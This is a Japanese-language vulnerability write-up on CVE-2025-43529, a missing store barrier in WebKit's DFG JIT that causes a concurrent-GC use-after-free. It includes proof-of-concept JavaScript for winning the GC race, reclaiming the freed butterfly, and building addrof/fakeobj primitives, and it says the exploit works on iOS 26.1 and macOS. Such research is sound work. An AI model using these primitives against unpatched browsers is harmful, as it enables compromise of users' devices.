
CVE-2025-43529の技術的エクスプロイトです。WebKit DFG JITコンパイラの脆弱性で、並行GCでのストアバリア欠落によるuse-after-freeを可能にし、iOSおよびmacOS向けの完全な悪用プリミティブを含みます。
Appleは最近、iOS 26.2およびiPadOS 26.2をリリースし、WebKitの脆弱性に対する修正を含むセキュリティアドバイザリを公開しました。その中でもDFG JITコンパイラのバグ(CVE-2025-43529)が特に興味深かったため、調査することにしました。
JITコンパイラは、複数の制御フローパスが合流するPhiノードがエスケープしていることを正しく認識していましたが、そのPhiのUpsilonノードもエスケープしていることに気づきませんでした。そのため、DFGコンパイルのStoreBarrierInsertionPhaseにおいて、重要なメモリ安全機構であるStore Barrierの挿入がスキップされました。その結果、コンカレントGCが本来スキャンすべきオブジェクトを見逃し、use-after-freeを引き起こす可能性があります。
パッチコミットはこちらで確認できます。
iOS 26.1、iPadOS 26.1、macOS Tahoe 26.0.1でのエクスプロイト動作を確認しています。
JSCは世代別GCモデルを採用し、ヒープを効率的に管理しています。このモデルでは、メモリはオブジェクトの経過時間に基づいてEden(新領域)と旧領域に分割されます。新しく割り当てられたオブジェクトはすべてEденから始まります。EdenがいっぱいになるとEden GCがトリガーされ、生存しているオブジェクトは旧領域へ昇格します。旧領域のオブジェクトをクリーンアップするにはフルGCが必要です。
世代別GCを機能させるには、GCはオブジェクトを「既にスキャン済み」「スキャンが必要」「再スキャンが必要」に分類する必要があります。JSCでは、これはオブジェクトのcellStateで追跡されます(すべてのGC管理対象オブジェクトはJSCellを継承しています)。
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellStateは1バイトで、Black(0)、White(1)、Grey(2)の3色のいずれかです。
Whiteは、Edenに割り当てられたばかりのオブジェクトを意味します。現在のGCサイクルではまだマークされていません。この状態のままGCサイクルが終了すると、そのオブジェクトは回収されます。
Blackは、GCがそのオブジェクトのマーキングを終了したか、マーキング処理中であることを意味します。基本的には生存しているものとして扱われますが、isMarkedビットはまだオフの可能性があります。
Greyは、まだスキャンが必要なオブジェクトを意味します。より正確には、元々Blackだったが、ライトバリアによって捕捉され、記憶セットに追加されたものです。つまり、その参照が変更されたため、GCはそのオブジェクトを再スキャンする必要があります。
JSCはコンカレントGCも備えており、メモリが回収されている間もアプリケーションの実行を可能にします。GCがバックグラウンドでオブジェクトをマーキングしているときに、アプリケーションがそのオブジェクトの状態を同時に変更すると、競合状態が発生する可能性があります。
これを防ぐためには、順序の保証が必要です。例えば、「ストアA、その後ロードB」がその順序で発生するようにする必要があります。しかしARM64では、パフォーマンス上の理由からCPUがメモリ操作を並べ替える可能性があります。そのため、GCが誤った値を読み取る可能性があります。
そこでJSCは、CPUのデータ依存性に依存する依存性クラスを使用するか、STLRやLDARのような特別なARM64命令を使用して順序を強制します。STLRは、以前の読み取り/書き込みがそのストアの前に可視になることを保証します(リリースストア)。LDARは、後の読み取り/書き込みがそのロードより先に移動できないようにします(アクワイアロード)。別のスレッドがオブジェクトを読み取るとき、LDARはSTLRとペアになって、最新のデータを安全に観測できるようにします。
DMBは単一アクセスに対する特別な命令ではありません。これは、その前後のすべてのメモリアクセスにわたって順序を強制するバリアです。DMBより前のメモリ操作が、後の操作よりも前に可視になることを保証します。
JSCには合計3つのJITティアがあります。実行速度とコンパイルコスト(メモリ/時間)のバランスを取るために、実行頻度に基づいて最適化を適用し、コードを次のティアに移行します。
Baseline JITは最初のJITコンパイラです。低いコンパイルオーバーヘッドで素早くネイティブコードに変換することに重点を置いています。 DFG JITはBaseline JITの次の段階で、本格的な最適化が始まります。
DFGティアでは、JavaScript命令がDFG IRノードで構成されるグラフに変換されます。収集した型情報を使用して、コンパイラは投機(スペキュレーション)を実行し、不要な操作を削除します。
JSCのDFG最適化パイプラインでは、StoreBarrierInsertionPhaseがPutByOffsetなどのメモリ書き込みノードの後にStoreBarrierを挿入します。
CVE-2025-43529は、StoreBarrierInsertionPhaseで挿入されるべきStoreBarrierが挿入されなかったことによる脆弱性です。
StoreBarrierは、ライトバリアのように動作するノードです。マーキングスレッドとの競合において正しさを保つために使用されます。
パッチコミットに記述されている脆弱なDFGノードのシナリオは以下のとおりです。
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
BB#1で2つの新しいオブジェクトが作成され、実行はBB#2またはBB#3に分岐します。BB#2はBB#3にフォールスルーします。BB#3で注目すべきはPhiノードです。これは、fがcまたはeのいずれかであり、その選択は上流のUpsilonノードによって決定されることを意味します。BB#3のPutByOffsetは、オブジェクトのプロパティに値を追加することを意味します。
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
--dumpFTLDisassembly=trueオプションを使用すると、FTLコンパイル後のアセンブリを調査できます。
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75:<!0:-> PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
12 3 60: D@71:<!0:-> Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
バグのため、bに対するStoreBarrierが出力されませんでした。
Aオブジェクトは旧領域にあります。最初のPutByOffset(A.p0 = f)で、旧オブジェクトAが新しいオブジェクトfを指すようになります。つまり、そのストア以降、マーキングスレッドはAを経由してfに到達できるようになります。そのため、後でfのプロパティを変更する場合、StoreBarrierを挿入する必要があります。
f(Phiノード)はエスケープしていると扱われますが、fに流れ込む可能性のある実際の入力(Upsilon経由のbとd)はエスケープとしてマークされません。論理的には、fがAに格納されるなら、bを含むfになり得るすべてのオブジェクトも実質的にAに格納されます。しかし、バグのためコンパイラはそれを認識せず、bはエスケープしない「安全な」値でありGCがスキャンする必要がないと考え、StoreBarrierをスキップしてしまいます。
use-after-freeをトリガーするには、メインスレッドとマーキングスレッドの間で競合を成功させる必要があります。シナリオは以下のとおりです。
コンカレントマーキング(マーキングスレッド):
マーキングスレッドは旧領域のオブジェクトAからbに到達し、Aとbの両方を黒としてマークします。
参照の更新(メインスレッド):
メインスレッドはb.p0 = aを実行します。この時点でaはまだマークされていないEdenオブジェクトであり、白のままです。これにより、黒のオブジェクトが白のオブジェクトを指す状態が作成されます。
ストアバリアの欠落:
通常、bは記憶セットに追加されるべきです。しかし、バグによりストアバリアがスキップされるため、GCはbがaを指すようになったことを知りません。GCサイクルが続行され、他にaを参照するものがなければ、aは白のままとなり、最終的に解放されます。
GCサイクルの終了:
その後、b.p0を読み取ると解放されたメモリにアクセスする可能性があり、use-after-freeにつながります。
競合状態を利用する上で最も難しいのは、競合ウィンドウを捉えることです。オブジェクトAとbは同じGCサイクル内でマークされる必要があります。メインスレッドとマーキングスレッドのタイミングを合わせるために、3つのテクニックを使用しました。
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
まず、Aのスキャンが開始されるまでのタイミングウィンドウを確保するために、GCにいくつかの子を訪問させる必要がありました。arrを大きくし、Aを最後のインデックスに配置しました。ここで注意すべき点は、Aが旧領域に存在する必要があることです。
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j < allocCount; ++j) {
let arr = new ArrayBuffer(0x80_0000);
forGC.push(arr);
}
A.p2 = forGC;
次に、旧領域のAをスキャンするにはフルGCをトリガーする必要があります。そのためには、十分な量の大きなオブジェクトを割り当てる必要があります。GCのトリガーを比較的一貫させるために、割り当てたオブジェクトの参照を保持し、「未使用」として最適化されないように、それらをA.p2に格納しました。
A.p1 = f;
let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
for (let j = 0; j < k; ++j) {
v = i;
v = j;
}
}
b.p0 = v;
b.p1 = a;
第三に、フルGCがトリガーされた後、十分に大きな配列を使用してAのマーキングを遅延させることができれば、メインスレッドはbにaへの参照を追加する直前にAのマーキングが完了する必要があります。そのタイミングを強制するために、大きなループを追加しました。また、ループが最適化によって除去されないように、最終値をb.p0に格納しました。
GCサイクルが終了した後、解放されたオブジェクトを含むMarkedBlockが再び使用される際、そのブロック内でマークされなかったオブジェクトはスイープされることを観察できます。JSCでは、スイープ機構により、MarkedBlockの全部または一部が後続の割り当てで利用可能になります。解放されたオブジェクトのアドレスは、この処理が行われた後にのみアロケータによって再利用可能になります。
reclaimed = false;
for (let i = 0; i < 1e6; ++i) {
let arr = [13.37, 2.2, 3.3, 4.4, noCow];
ref.push(arr);
if (freed_object[0] === 13.37) {
reclaimed = true;
break;
}
}
if (!reclaimed) {
print('failed');
}
競合後、ループは長さ5の配列を繰り返し割り当て、スイープされたバタフライの再利用を促します。バタフライが再割り当てされた場合、同じバタフリアドレスを共有するオブジェクトのインデックス付きプロパティを読み取ることで検出できます。
内部的には、arrを作成するとJSC::constructArrayBufferが呼び出され、MarkedBlock::Handle::specializedSweepがトリガーされます。ここで、バタフライを含むブロックのFreeListが最初に構築されます。
void MarkedBlock::Handle::specializedSweep(...)
{
// ...
if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
// ...
if (sweepMode == SweepToFreeList) {
if (scribbleMode == Scribble) [[unlikely]]
scribble(payloadBegin, payloadEnd - payloadBegin);
FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
interval->makeLast(payloadEnd - payloadBegin, secret);
freeList->initialize(interval, secret, payloadEnd - payloadBegin);
}
return;
}
// ...
}
PoCでは、競合後にバタフライを含むブロックでスイープが実行されると、emptyMode、marksMode、newlyAllocatedModeがそれぞれIsEmpty、MarksStale、DoesNotHaveNewlyAllocatedになるため、上記のif文に入ります。
通常のスイープではフリーリストを断片的に構築する必要がありますが、ここではブロック全体が空であるため、フリーリストはブロック全体をカバーする1つの大きな区間として初期化されます。freeList構造体は非常にシンプルです。基本的にはチャンクの開始位置、終了位置、サイズを追跡するだけです。
この時点で、freeListにはバタフライポインタを含むブロック全体が含まれています。
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
if (m_intervalStart < m_intervalEnd) [[likely]] {
char* result = m_intervalStart;
m_intervalStart += cellSize;
return std::bit_cast<HeapCell*>(result);
}
// ...
}
freeListからの割り当てはFreeList::allocateWithCellSizeで処理されます。m_intervalStartとm_intervalEndが等しくない場合、アロケータはその区間に空きセルがあると見なし、現在の開始ポインタを新しいオブジェクトのアドレスとして返し、開始ポインタをcellSizeだけ進めます。
この関数はJSC::constructArrayから呼び出され、ループ内で繰り返し実行されます。最終的に、新しく割り当てられた配列が解放されたバタフライアドレスを自身のバタフライとして使用することになります。
エクスプロイトが失敗する理由はいくつかありますが、簡単な改善策の1つは、スタックに残っているバタフライポインタを除去することです。
バタフライの割り当て中、割り当てられたポインタが繰り返しスタックに書き込まれます。use-after-freeをトリガーする関数を呼び出した後でもそのポインタが残っていると、GCによる保守的なスタックスキャンがそれを捕捉してマークし、解放を妨げて通常のオブジェクトのように「保護」してしまいます。
PoCでは、多数のスタックフレームを作成する関数を呼び出すことでこの問題に対処しました。
function recursive(n) {
if (n === 0)
return;
n = n | 0;
recursive(n - 1);
}
recursive(10000);
再帰関数を呼び出すことで、メインスレッドはスタック領域を関数フレームで埋め尽くし、残っているすべてのバタフライアドレスを他の値で上書きします。その後、バタフライポインタがスタックスキャンで見つかる可能性が低くなり、GCがそのバタフライをスキャンしない可能性が高まります。
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;
function addrof(obj) {
boxed_arr[0] = obj;
return ftoi(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = itof(addr);
return boxed_arr[0];
}
use-after-freeを利用すると、解放されたオブジェクトaと新しく割り当てられた配列の両方で同じバタフライを持つことができます。そして、2つのオブジェクトで異なるIndexingTypeを使用することで、単一のバタフライ内の値をDoubleとContiguousの両方でアクセスできます。これにより、古典的なaddrofとfakeobjプリミティブが直接得られます。
addrof/fakeobjプリミティブを構築できたなら、読み取り/書き込みプリミティブを簡単に構築できます。しかし、コード実行を得るには、まだポインタ認証をバイパスする必要があります。この部分は課題として残されています。